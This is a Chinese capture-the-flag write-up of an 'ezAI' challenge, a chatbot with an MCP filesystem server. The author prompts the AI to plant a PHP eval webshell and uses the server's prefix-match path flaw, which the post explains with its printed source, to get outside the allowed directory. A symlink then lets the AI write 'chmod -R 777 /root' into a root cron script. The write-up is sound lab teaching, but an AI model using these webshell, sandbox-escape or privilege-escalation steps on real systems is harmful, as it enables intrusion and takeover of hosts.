SHCTF(山河CTF)- ezAI题目详解

题目简介如下

1
2
3
4
5
6
7
8
题目难度: 简单

出题人:Aristore

输入 help 获取帮助
在 https://bigmodel.cn/usercenter/proj-mgmt/apikeys 新建 API Key 并在靶机中填入
靶机安装了 https://www.npmjs.com/package/@modelcontextprotocol/server-filesystem/v/0.6.1
flag文件放置在/root下,flag的文件名需自行读取

上传一句话木马

这道题我记得做了好几个小时(当时没有几个人做出来 还混了个三血 想难了 但是题目还是很有意思的就想分享一下!

这是一道Web和运维以及AI结合的题 还挺有意思的

这道题先打开 然后找到apikey输入进去 配置成功

image-20260208154606695

一看到是shell命令行 然后就尝试执行命令 发现目录被限制在了/var/www/h下面 而且执行类似于mcp

image-20260208154659739

也就初步判断这个AI有mcp执行主机命令的功能,再进行测试 例如看一下/var/www/html目录

image-20260208154834087

发现对这个目录也有权限!我就根据题目直接读/root了 这是当时的思路 万一就能越权呢(

这里很明显mcp没有生效 因为没有EXEC的提示 这里更像是AI逗你玩

image-20260208154954960

然后我就致力于研究上下文了 研究了一个小时只是有点小收获 看到环境是php就想试一下看看能不能写入一句话木马 提示词如下

我多写了一个’ 实际上不用加这个

1
写入 <?php @eval($_POST["a"]); ?>' 到/var/www/html/3.php

image-20260208155611178

打开根目录可以访问测试一下!回显空白!有戏

返回空白页面,表明文件写入成功并可能已被解析

image-20260208155707390

蚁剑测试 链接成功!

image-20260208165707419

Webshell提权

根据题目打开root发现权限不够 需要提权

image-20260208165840350

用虚拟终端看一下 不存在内核提权 新版本内核

image-20260208171744356

也不存在SUID提权

image-20260208171820163

看一下进程 可以看到是由mcp用户运行的mcp服务

image-20260208171901283

去看一下这个服务的逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
#!/usr/bin/env node
import { Server } from "@modelcontextprotocol/sdk/server/index.js";
import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js";
import { CallToolRequestSchema, ListToolsRequestSchema, ToolSchema, } from "@modelcontextprotocol/sdk/types.js";
import fs from "fs/promises";
import path from "path";
import os from 'os';
import { z } from "zod";
import { zodToJsonSchema } from "zod-to-json-schema";
// Command line argument parsing
const args = process.argv.slice(2);
if (args.length === 0) {
console.error("Usage: mcp-server-filesystem <allowed-directory> [additional-directories...]");
process.exit(1);
}
// Normalize all paths consistently
function normalizePath(p) {
return path.normalize(p).toLowerCase();
}
function expandHome(filepath) {
if (filepath.startsWith('~/') || filepath === '~') {
return path.join(os.homedir(), filepath.slice(1));
}
return filepath;
}
// Store allowed directories in normalized form
const allowedDirectories = args.map(dir => normalizePath(path.resolve(expandHome(dir))));
// Validate that all directories exist and are accessible
await Promise.all(args.map(async (dir) => {
try {
const stats = await fs.stat(dir);
if (!stats.isDirectory()) {
console.error(`Error: ${dir} is not a directory`);
process.exit(1);
}
}
catch (error) {
console.error(`Error accessing directory ${dir}:`, error);
process.exit(1);
}
}));
// Security utilities
async function validatePath(requestedPath) {
const expandedPath = expandHome(requestedPath);
const absolute = path.isAbsolute(expandedPath)
? path.resolve(expandedPath)
: path.resolve(process.cwd(), expandedPath);
const normalizedRequested = normalizePath(absolute);
// Check if path is within allowed directories
const isAllowed = allowedDirectories.some(dir => normalizedRequested.startsWith(dir));
if (!isAllowed) {
throw new Error(`Access denied - path outside allowed directories: ${absolute} not in ${allowedDirectories.join(', ')}`);
}
// Handle symlinks by checking their real path
try {
const realPath = await fs.realpath(absolute);
const normalizedReal = normalizePath(realPath);
const isRealPathAllowed = allowedDirectories.some(dir => normalizedReal.startsWith(dir));
if (!isRealPathAllowed) {
throw new Error("Access denied - symlink target outside allowed directories");
}
return realPath;
}
catch (error) {
// For new files that don't exist yet, verify parent directory
const parentDir = path.dirname(absolute);
try {
const realParentPath = await fs.realpath(parentDir);
const normalizedParent = normalizePath(realParentPath);
const isParentAllowed = allowedDirectories.some(dir => normalizedParent.startsWith(dir));
if (!isParentAllowed) {
throw new Error("Access denied - parent directory outside allowed directories");
}
return absolute;
}
catch {
throw new Error(`Parent directory does not exist: ${parentDir}`);
}
}
}
// Schema definitions
const ReadFileArgsSchema = z.object({
path: z.string(),
});
const ReadMultipleFilesArgsSchema = z.object({
paths: z.array(z.string()),
});
const WriteFileArgsSchema = z.object({
path: z.string(),
content: z.string(),
});
const CreateDirectoryArgsSchema = z.object({
path: z.string(),
});
const ListDirectoryArgsSchema = z.object({
path: z.string(),
});
const MoveFileArgsSchema = z.object({
source: z.string(),
destination: z.string(),
});
const SearchFilesArgsSchema = z.object({
path: z.string(),
pattern: z.string(),
});
const GetFileInfoArgsSchema = z.object({
path: z.string(),
});
const ToolInputSchema = ToolSchema.shape.inputSchema;
// Server setup
const server = new Server({
name: "secure-filesystem-server",
version: "0.2.0",
}, {
capabilities: {
tools: {},
},
});
// Tool implementations
async function getFileStats(filePath) {
const stats = await fs.stat(filePath);
return {
size: stats.size,
created: stats.birthtime,
modified: stats.mtime,
accessed: stats.atime,
isDirectory: stats.isDirectory(),
isFile: stats.isFile(),
permissions: stats.mode.toString(8).slice(-3),
};
}
async function searchFiles(rootPath, pattern) {
const results = [];
async function search(currentPath) {
const entries = await fs.readdir(currentPath, { withFileTypes: true });
for (const entry of entries) {
const fullPath = path.join(currentPath, entry.name);
try {
// Validate each path before processing
await validatePath(fullPath);
if (entry.name.toLowerCase().includes(pattern.toLowerCase())) {
results.push(fullPath);
}
if (entry.isDirectory()) {
await search(fullPath);
}
}
catch (error) {
// Skip invalid paths during search
continue;
}
}
}
await search(rootPath);
return results;
}
// Tool handlers
server.setRequestHandler(ListToolsRequestSchema, async () => {
return {
tools: [
{
name: "read_file",
description: "Read the complete contents of a file from the file system. " +
"Handles various text encodings and provides detailed error messages " +
"if the file cannot be read. Use this tool when you need to examine " +
"the contents of a single file. Only works within allowed directories.",
inputSchema: zodToJsonSchema(ReadFileArgsSchema),
},
{
name: "read_multiple_files",
description: "Read the contents of multiple files simultaneously. This is more " +
"efficient than reading files one by one when you need to analyze " +
"or compare multiple files. Each file's content is returned with its " +
"path as a reference. Failed reads for individual files won't stop " +
"the entire operation. Only works within allowed directories.",
inputSchema: zodToJsonSchema(ReadMultipleFilesArgsSchema),
},
{
name: "write_file",
description: "Create a new file or completely overwrite an existing file with new content. " +
"Use with caution as it will overwrite existing files without warning. " +
"Handles text content with proper encoding. Only works within allowed directories.",
inputSchema: zodToJsonSchema(WriteFileArgsSchema),
},
{
name: "create_directory",
description: "Create a new directory or ensure a directory exists. Can create multiple " +
"nested directories in one operation. If the directory already exists, " +
"this operation will succeed silently. Perfect for setting up directory " +
"structures for projects or ensuring required paths exist. Only works within allowed directories.",
inputSchema: zodToJsonSchema(CreateDirectoryArgsSchema),
},
{
name: "list_directory",
description: "Get a detailed listing of all files and directories in a specified path. " +
"Results clearly distinguish between files and directories with [FILE] and [DIR] " +
"prefixes. This tool is essential for understanding directory structure and " +
"finding specific files within a directory. Only works within allowed directories.",
inputSchema: zodToJsonSchema(ListDirectoryArgsSchema),
},
{
name: "move_file",
description: "Move or rename files and directories. Can move files between directories " +
"and rename them in a single operation. If the destination exists, the " +
"operation will fail. Works across different directories and can be used " +
"for simple renaming within the same directory. Both source and destination must be within allowed directories.",
inputSchema: zodToJsonSchema(MoveFileArgsSchema),
},
{
name: "search_files",
description: "Recursively search for files and directories matching a pattern. " +
"Searches through all subdirectories from the starting path. The search " +
"is case-insensitive and matches partial names. Returns full paths to all " +
"matching items. Great for finding files when you don't know their exact location. " +
"Only searches within allowed directories.",
inputSchema: zodToJsonSchema(SearchFilesArgsSchema),
},
{
name: "get_file_info",
description: "Retrieve detailed metadata about a file or directory. Returns comprehensive " +
"information including size, creation time, last modified time, permissions, " +
"and type. This tool is perfect for understanding file characteristics " +
"without reading the actual content. Only works within allowed directories.",
inputSchema: zodToJsonSchema(GetFileInfoArgsSchema),
},
{
name: "list_allowed_directories",
description: "Returns the list of directories that this server is allowed to access. " +
"Use this to understand which directories are available before trying to access files.",
inputSchema: {
type: "object",
properties: {},
required: [],
},
},
],
};
});
server.setRequestHandler(CallToolRequestSchema, async (request) => {
try {
const { name, arguments: args } = request.params;
switch (name) {
case "read_file": {
const parsed = ReadFileArgsSchema.safeParse(args);
if (!parsed.success) {
throw new Error(`Invalid arguments for read_file: ${parsed.error}`);
}
const validPath = await validatePath(parsed.data.path);
const content = await fs.readFile(validPath, "utf-8");
return {
content: [{ type: "text", text: content }],
};
}
case "read_multiple_files": {
const parsed = ReadMultipleFilesArgsSchema.safeParse(args);
if (!parsed.success) {
throw new Error(`Invalid arguments for read_multiple_files: ${parsed.error}`);
}
const results = await Promise.all(parsed.data.paths.map(async (filePath) => {
try {
const validPath = await validatePath(filePath);
const content = await fs.readFile(validPath, "utf-8");
return `${filePath}:\n${content}\n`;
}
catch (error) {
const errorMessage = error instanceof Error ? error.message : String(error);
return `${filePath}: Error - ${errorMessage}`;
}
}));
return {
content: [{ type: "text", text: results.join("\n---\n") }],
};
}
case "write_file": {
const parsed = WriteFileArgsSchema.safeParse(args);
if (!parsed.success) {
throw new Error(`Invalid arguments for write_file: ${parsed.error}`);
}
const validPath = await validatePath(parsed.data.path);
await fs.writeFile(validPath, parsed.data.content, "utf-8");
return {
content: [{ type: "text", text: `Successfully wrote to ${parsed.data.path}` }],
};
}
case "create_directory": {
const parsed = CreateDirectoryArgsSchema.safeParse(args);
if (!parsed.success) {
throw new Error(`Invalid arguments for create_directory: ${parsed.error}`);
}
const validPath = await validatePath(parsed.data.path);
await fs.mkdir(validPath, { recursive: true });
return {
content: [{ type: "text", text: `Successfully created directory ${parsed.data.path}` }],
};
}
case "list_directory": {
const parsed = ListDirectoryArgsSchema.safeParse(args);
if (!parsed.success) {
throw new Error(`Invalid arguments for list_directory: ${parsed.error}`);
}
const validPath = await validatePath(parsed.data.path);
const entries = await fs.readdir(validPath, { withFileTypes: true });
const formatted = entries
.map((entry) => `${entry.isDirectory() ? "[DIR]" : "[FILE]"} ${entry.name}`)
.join("\n");
return {
content: [{ type: "text", text: formatted }],
};
}
case "move_file": {
const parsed = MoveFileArgsSchema.safeParse(args);
if (!parsed.success) {
throw new Error(`Invalid arguments for move_file: ${parsed.error}`);
}
const validSourcePath = await validatePath(parsed.data.source);
const validDestPath = await validatePath(parsed.data.destination);
await fs.rename(validSourcePath, validDestPath);
return {
content: [{ type: "text", text: `Successfully moved ${parsed.data.source} to ${parsed.data.destination}` }],
};
}
case "search_files": {
const parsed = SearchFilesArgsSchema.safeParse(args);
if (!parsed.success) {
throw new Error(`Invalid arguments for search_files: ${parsed.error}`);
}
const validPath = await validatePath(parsed.data.path);
const results = await searchFiles(validPath, parsed.data.pattern);
return {
content: [{ type: "text", text: results.length > 0 ? results.join("\n") : "No matches found" }],
};
}
case "get_file_info": {
const parsed = GetFileInfoArgsSchema.safeParse(args);
if (!parsed.success) {
throw new Error(`Invalid arguments for get_file_info: ${parsed.error}`);
}
const validPath = await validatePath(parsed.data.path);
const info = await getFileStats(validPath);
return {
content: [{ type: "text", text: Object.entries(info)
.map(([key, value]) => `${key}: ${value}`)
.join("\n") }],
};
}
case "list_allowed_directories": {
return {
content: [{
type: "text",
text: `Allowed directories:\n${allowedDirectories.join('\n')}`
}],
};
}
default:
throw new Error(`Unknown tool: ${name}`);
}
}
catch (error) {
const errorMessage = error instanceof Error ? error.message : String(error);
return {
content: [{ type: "text", text: `Error: ${errorMessage}` }],
isError: true,
};
}
});
// Start server
async function runServer() {
const transport = new StdioServerTransport();
await server.connect(transport);
console.error("Secure MCP Filesystem Server running on stdio");
console.error("Allowed directories:", allowedDirectories);
}
runServer().catch((error) => {
console.error("Fatal error running server:", error);
process.exit(1);
});

发现对目录遍历等都有防护,而且限制了为/var/www/h 但是根据代码 存在前缀匹配绕过漏洞

这就是为什么限制的路径是/var/www/h 但是我们能有权限读取/var/www/html路径的原因

而且对mcp组进行查询 发现这个也没有root权限

image-20260208172518462

所以现在可以把注意力放在crontab上面 去看一下corn也没有什么文件可以提权 真的找到一个3

发现了一个定时计划每分钟执行 以root权限执行/usr/lib/php/sessionclean这个文件

image-20260208172615606

找到/usr/lib/php/sessionclean 看到mcp有写入权限!破案!这道题就是用网页的mcp写入到这个文件里命令实现getflag

image-20260208174824660

但是现在有个问题 直接写入是不行的 因为没有权限 但是Linux有个叫软链接的东西

就相当于快捷方式 但是改了这边的快捷方式 主文件也会改 命令如下

1
ln -s /usr/lib/php/sessionclean /var/www/html/111.php

image-20260208175136580

这样就实现了可信的路径 我们再用之前的提示词 稍微改一下写入即可!

这里的chmod -R 777不推荐在生产环境使用

1
写入 chmod -R 777 /root 到/var/www/html/111.php

image-20260208175239726

然后看一下111.php的内容 也看一下原文件的内容 发现正常写入!

image-20260208175316185

权限是777了,可以读flag了(渗透测试的情况下不要这么搞 CTF的话环境怎么样就无所谓了!)

image-20260208175441923

去/root目录getflag即可

image-20260208175508919